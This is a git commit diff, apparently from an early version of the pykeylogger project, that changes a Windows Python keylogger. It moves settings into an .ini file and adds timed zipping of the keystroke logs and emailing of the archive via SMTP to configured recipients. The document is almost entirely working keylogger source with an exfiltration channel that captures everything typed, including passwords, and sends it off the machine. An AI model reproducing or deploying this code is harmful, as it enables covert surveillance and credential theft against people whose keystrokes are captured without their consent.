read config from .ini files, autoezip+email

nanotube [2006-07-20 03:12]
read config from .ini files, autoezip+email
Filename
keylogger.pyw
logwriter.py
diff --git a/keylogger.pyw b/keylogger.pyw
index fa7f2e0..f6c2474 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -6,6 +6,7 @@ from optparse import OptionParser
 import traceback
 from logwriter import LogWriter
 import version
+import ConfigParser

 class KeyLogger:
     ''' Captures all keystrokes, calls LogWriter class to log them to disk
@@ -13,15 +14,16 @@ class KeyLogger:
     def __init__(self):

         self.ParseOptions()
+        self.ParseConfigFile()
         self.hm = pyHook.HookManager()
         self.hm.KeyDown = self.OnKeyboardEvent

-        if self.options.hookKeyboard == True:
+        if self.settings['hookkeyboard'] == 'True':
             self.hm.HookKeyboard()
         #if self.options.hookMouse == True:
         #    self.hm.HookMouse()

-        self.lw = LogWriter(self.options)
+        self.lw = LogWriter(self.settings)

     def start(self):
         pythoncom.PumpMessages()
@@ -34,13 +36,14 @@ class KeyLogger:

         self.lw.WriteToLogFile(event)

-        if event.Key == self.options.exitKey:
+        if event.Key == self.settings['exitkey']:
             self.stop()

         return True

     def stop(self):
-        self.lw.timer.cancel()
+        self.lw.flushtimer.cancel()
+        self.lw.emailtimer.cancel()
         sys.exit()

     def ParseOptions(self):
@@ -48,42 +51,74 @@ class KeyLogger:
         '''

         parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").")
-        parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]")
-        parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]")
-        parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]")
-        parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]")
-        parser.add_option("-e", "--parseescape", action="store_true", dest="parseEscape", help="translate escape chacarter into printable string [default: %default]")
+        #~ parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]")
+        #~ parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]")
+        #~ parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]")
+        #~ parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]")
+        #~ parser.add_option("-e", "--parseescape", action="store_true", dest="parseEscape", help="translate escape chacarter into printable string [default: %default]")

-        parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]")
-        parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]")
+        #~ parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]")
+        #~ parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]")
         parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")

-        parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]")
-        parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]")
+        #~ parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]")
+        #~ parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]")

-        parser.add_option("-s", "--systemlog", action="store", dest="systemLog", help="log all output, plus some debug output, to a SYSTEMLOG file (inside DIRNAME, as specified with -f option). [default: %default]")
+        #~ parser.add_option("-s", "--systemlog", action="store", dest="systemLog", help="log all output, plus some debug output, to a SYSTEMLOG file (inside DIRNAME, as specified with -f option). [default: %default]")

         #parser.add_option("-r", "--raw", action="store", dest="raw", help="log events in raw mode (pickle event objects with all their attributes). [default: %default]")

-        parser.add_option("-i", "--interval", action="store", dest="interval", type="float", help="specify the time interval between buffer autoflush events, in seconds. [default: %default]")
-
-        parser.set_defaults(dirName=r"C:\Temp\logdir",
-                            hookKeyboard=True,
-                            addLineFeed=False,
-                            parseBackspace=False,
-                            parseEscape=False,
-                            exitKey='F12',
-                            flushKey='F11',
-                            debug=False,
-                            noLog=None,
-                            oneFile=None,
-                            interval=120.0,
-                            systemLog=None)
+        #~ parser.add_option("-i", "--interval", action="store", dest="interval", type="float", help="specify the time interval between buffer autoflush events, in seconds. [default: %default]")
+
+        parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]")
+
+        #~ parser.set_defaults(dirName=r"C:\Temp\logdir",
+                            #~ hookKeyboard=True,
+                            #~ addLineFeed=False,
+                            #~ parseBackspace=False,
+                            #~ parseEscape=False,
+                            #~ exitKey='F12',
+                            #~ flushKey='F11',
+                            #~ debug=False,
+                            #~ noLog=None,
+                            #~ oneFile=None,
+                            #~ interval=120.0,
+                            #~ systemLog=None)
+        parser.set_defaults(debug=False, configfile="pykeylogger.ini")

         (self.options, args) = parser.parse_args()
+
+    def ParseConfigFile(self):
+        '''Read config file options
+        '''
+        #~ defaults = {"dirName":r"C:\Temp\logdir",
+            #~ "hookKeyboard":"True",
+            #~ "addLineFeed":"False",
+            #~ "parseBackspace":"False",
+            #~ "parseEscape":"False",
+            #~ "exitKey":"F12",
+            #~ "flushKey":"F11",
+            #~ "debug":"False",
+            #~ "noLog":"None",
+            #~ "oneFile":"None",
+            #~ "flushInterval":"120.0",
+            #~ "emailInterval":"240"
+            #~ "systemLog":"None"}
+
+        self.config = ConfigParser.SafeConfigParser()
+        self.config.readfp(open(self.options.configfile))
+
+        self.settings = dict(self.config.items('general'))
+        self.settings.update(dict(self.config.items('email')))
+        #~ print self.settings
+        #~ print str(self.options)
+        #~ print type(dict(str(self.options)))
+        self.settings.update(self.options.__dict__)
+        #print self.settings

 if __name__ == '__main__':
     kl = KeyLogger()
+    #print kl.options
     kl.start()

     #if you want to change keylogger behavior from defaults, run it with commandline options. try '-h' for list of options.
diff --git a/logwriter.py b/logwriter.py
index cdd630e..65110b7 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -6,37 +6,49 @@ import sys
 #from threading import Timer
 import mytimer

+#the following are needed for zipping the logfiles
+import zipfile
+import zlib
+
+# the following are needed for automatic emailing
+import smtplib
+from email.MIMEMultipart import MIMEMultipart
+from email.MIMEBase import MIMEBase
+from email.MIMEText import MIMEText
+from email.Utils import COMMASPACE, formatdate
+from email import Encoders
+
 class LogWriter:

-    def __init__(self, options):
+    def __init__(self, settings):

-        self.options = options
+        self.settings = settings

-        self.options.dirName = os.path.normpath(self.options.dirName)
+        self.settings['dirname'] = os.path.normpath(self.settings['dirname'])

         try:
-            os.makedirs(self.options.dirName, 0777)
+            os.makedirs(self.settings['dirname'], 0777)
         except OSError, detail:
             if(detail.errno==17):  #if directory already exists, swallow the error
                 pass
             else:
-                self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+                self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
         except:
-            self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+            self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")

         self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")      #regexp filter for the non-allowed characters in windows filenames.

         self.writeTarget = ""
-        if self.options.systemLog != None:
+        if self.settings['systemlog'] != 'None':
             try:
-                self.systemlog = open(os.path.join(self.options.dirName, self.options.systemLog), 'a')
+                self.systemlog = open(os.path.join(self.settings['dirname'], self.settings['systemlog']), 'a')
             except OSError, detail:
                 if(detail.errno==17):  #if file already exists, swallow the error
                     pass
                 else:
-                    self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+                    self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
             except:
-                self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+                self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")

         # we only want to initalize the timer once, and then only AFTER we have some file opened to self.log
         # so this will be our "one time use" flag
@@ -46,40 +58,44 @@ class LogWriter:
             #~ self.errorlog = open(os.path.join(self.options.dirName, "errorlog.txt"), 'a')
             #~ self.savestderr = sys.stderr    #save stderr just in case we want to restore it later
             #~ sys.stderr = self.errorlog
-
+
+        # Set up the subset of keys that we are going to log
+        self.asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
+        self.asciiSubset.extend(range(32,255))      #all normal printable chars
+
+        if self.settings['parsebackspace'] == 'True':
+            self.asciiSubset.remove(8)              #remove backspace from allowed chars if needed
+        if self.settings['parseescape'] == 'True':
+            self.asciiSubset.remove(27)             #remove escape from allowed chars if needed
+
+        # initialize the automatic zip and email timer
+        self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction)
+        self.emailtimer.start()

     def WriteToLogFile(self, event):
         loggable = self.TestForNoLog(event)     # see if the program is in the no-log list.

         if not loggable:
-            if self.options.debug: self.PrintDebug("not loggable, we are outta here\n")
+            if self.settings['debug']: self.PrintDebug("not loggable, we are outta here\n")
             return

-        if self.options.debug: self.PrintDebug("loggable, lets log it\n")
+        if self.settings['debug']: self.PrintDebug("loggable, lets log it\n")

         loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems

         #start our autoflush timer, since a log file has been opened at this point, for the first time
         if loggable and self.flushTimerInitialized == False:
             self.flushTimerInitialized = True
-            self.timer = mytimer.MyTimer(self.options.interval, 0, self.TimerAction)
-            self.timer.start()
+            self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers)
+            self.flushtimer.start()

         if not loggable:
             self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n")
             return

-        asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
-        asciiSubset.extend(range(32,255))      #all normal printable chars
-
-        if self.options.parseBackspace == True:
-            asciiSubset.remove(8)              #remove backspace from allowed chars if needed
-        if self.options.parseEscape == True:
-            asciiSubset.remove(27)             #remove escape from allowed chars if needed
-
-        if event.Ascii in asciiSubset:
+        if event.Ascii in self.asciiSubset:
             self.PrintStuff(chr(event.Ascii))
-        if event.Ascii == 13 and self.options.addLineFeed == True:
+        if event.Ascii == 13 and self.settings['addlinefeed'] == 'True':
             self.PrintStuff(chr(10))                 #add line feed after CR,if option is set

         #we translate all the special keys, such as arrows, backspace, into text strings for logging
@@ -88,47 +104,104 @@ class LogWriter:
             self.PrintStuff('[KeyName:' + event.Key + ']')

         #translate backspace into text string, if option is set.
-        if event.Ascii == 8 and self.options.parseBackspace == True:
+        if event.Ascii == 8 and self.settings['parsebackspace'] == 'True':
             self.PrintStuff('[KeyName:' + event.Key + ']')

         #translate escape into text string, if option is set.
-        if event.Ascii == 27 and self.options.parseEscape == True:
+        if event.Ascii == 27 and self.settings['parseescape'] == True:
             self.PrintStuff('[KeyName:' + event.Key + ']')

-        if event.Key == self.options.flushKey:
+        if event.Key == self.settings['flushkey']:
             self.log.flush()
-            if self.options.systemLog != None: self.systemlog.flush()
+            if self.settings['systemlog'] != 'None': self.systemlog.flush()

     def TestForNoLog(self, event):
         '''This function returns False if the process name associated with an event
         is listed in the noLog option, and True otherwise.'''

         self.processName = self.GetProcessNameFromHwnd(event.Window)
-        if self.options.noLog != None:
-            for path in self.options.noLog:
+        if self.settings['nolog'] != 'None':
+            for path in self.settings['nolog'].split(';'):
                 if os.stat(path) == os.stat(self.processName):    #we use os.stat instead of comparing strings due to multiple possible representations of a path
                     return False
         return True

-    def TimerAction(self):
+    def FlushLogWriteBuffers(self):
         self.PrintDebug("flushing file write buffer due to timer\n")
         self.log.flush()
+        if self.settings['systemlog'] != 'None': self.systemlog.flush()

+    def ZipLogFiles(self):
+        os.chdir(self.settings['dirname'])
+        myzip = zipfile.ZipFile(self.settings['ziparchivename'], "w", zipfile.ZIP_DEFLATED)
+        for root, dirs, files in os.walk(os.curdir):
+            for fname in files:
+                if fname != self.settings['ziparchivename']:
+                    myzip.write(os.path.join(root,fname).split("\\",1)[1])
+    #            myzip.write(fname)
+        myzip.close()
+        myzip = zipfile.ZipFile(self.settings['ziparchivename'], "r", zipfile.ZIP_DEFLATED)
+        if myzip.testzip() != None:
+            self.PrintDebug("Warning: Zipfile did not pass check.\n")
+        myzip.close()
+
+    def SendZipByEmail(self):
+
+        #def sendMail(to, fro, subject, text, files=[],server="localhost"):
+        #~ assert type(to)==list
+        #~ assert type(files)==list
+        #fro = "Expediteur <expediteur@mail.com>"
+
+        # set up the message
+        msg = MIMEMultipart()
+        msg['From'] = self.settings['smtpfrom']
+        msg['To'] = COMMASPACE.join(self.settings['smtpto'].split(";"))
+        msg['Date'] = formatdate(localtime=True)
+        msg['Subject'] = self.settings['smtpsubject']
+
+        msg.attach( MIMEText(self.settings['smtpmessagebody']) )
+
+        for file in [os.path.join(self.settings['dirname'], self.settings['ziparchivename'])]:
+            part = MIMEBase('application', "octet-stream")
+            part.set_payload( open(file,"rb").read() )
+            Encoders.encode_base64(part)
+            part.add_header('Content-Disposition', 'attachment; filename="%s"'
+                           % os.path.basename(file))
+            msg.attach(part)
+
+        # set up the server and send the message
+        mysmtp = smtplib.SMTP(self.settings['smtpserver'])
+
+        if self.settings['debug']:
+            mysmtp.set_debuglevel(1)
+        if self.settings['smtpneedslogin'] == 'True':
+            mysmtp.login(self.settings['smtpusername'],self.settings['smtppassword'])
+        sendingresults=mysmtp.sendmail(self.settings['smtpfrom'], self.settings['smtpto'].split(";"), msg.as_string())
+        self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
+        mysmtp.quit()
+
+    def ZipAndEmailTimerAction(self):
+        self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n")
+        self.log.flush()
+        if self.settings['systemlog'] != 'None': self.systemlog.flush()
+        self.ZipLogFiles()
+        self.SendZipByEmail()
+
     def OpenLogFile(self, event):

-        if self.options.oneFile != None:
+        if self.settings['onefile'] != 'None':
             if self.writeTarget == "":
-                self.writeTarget = os.path.join(os.path.normpath(self.options.dirName), os.path.normpath(self.options.oneFile))
+                self.writeTarget = os.path.join(os.path.normpath(self.settings['dirname']), os.path.normpath(self.settings['onefile']))
                 try:
                     self.log = open(self.writeTarget, 'a')
                 except OSError, detail:
                     if(detail.errno==17):  #if file already exists, swallow the error
                         pass
                     else:
-                        self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+                        self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
                         return False
                 except:
-                    self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+                    self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
                     return False

                 self.PrintDebug("writing to: " + self.writeTarget + "\n")
@@ -142,27 +215,27 @@ class LogWriter:

         #make sure our filename plus path is not longer than 255 characters, as per filesystem limit.
         #filename = filename[0:200] + ".txt"
-        if len(os.path.join(self.options.dirName, subDirName, filename)) > 255:
-            if len(os.path.join(self.options.dirName, subDirName)) > 250:
+        if len(os.path.join(self.settings['dirname'], subDirName, filename)) > 255:
+            if len(os.path.join(self.settings['dirname'], subDirName)) > 250:
                 self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.")
                 return False
             else:
-                filename = filename[0:255-len(os.path.join(self.options.dirName, subDirName))-4] + ".txt"
+                filename = filename[0:255-len(os.path.join(self.settings['dirname'], subDirName))-4] + ".txt"


         #we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going
         #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
         #already-opened file.
-        if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename):
+        if self.writeTarget != os.path.join(self.settings['dirname'], subDirName, filename):
             if self.writeTarget != "":
                 self.PrintDebug("flushing and closing old log\n")
                 self.log.flush()
                 self.log.close()
-            self.writeTarget = os.path.join(self.options.dirName, subDirName, filename)
+            self.writeTarget = os.path.join(self.settings['dirname'], subDirName, filename)
             self.PrintDebug("writeTarget:" + self.writeTarget + "\n")

             try:
-                os.makedirs(os.path.join(self.options.dirName, subDirName), 0777)
+                os.makedirs(os.path.join(self.settings['dirname'], subDirName), 0777)
             except OSError, detail:
                 if(detail.errno==17):  #if directory already exists, swallow the error
                     pass
@@ -188,15 +261,15 @@ class LogWriter:
         return True

     def PrintStuff(self, stuff):
-        if not self.options.debug:
+        if not self.settings['debug']:
             self.log.write(stuff)
         else:
             self.PrintDebug(stuff)

     def PrintDebug(self, stuff):
-        if self.options.debug:
+        if self.settings['debug']:
             sys.stdout.write(stuff)
-        if self.options.systemLog != None:
+        if self.settings['systemlog'] != 'None':
             self.systemlog.write(stuff)

     def GetProcessNameFromHwnd(self, hwnd):
ViewGit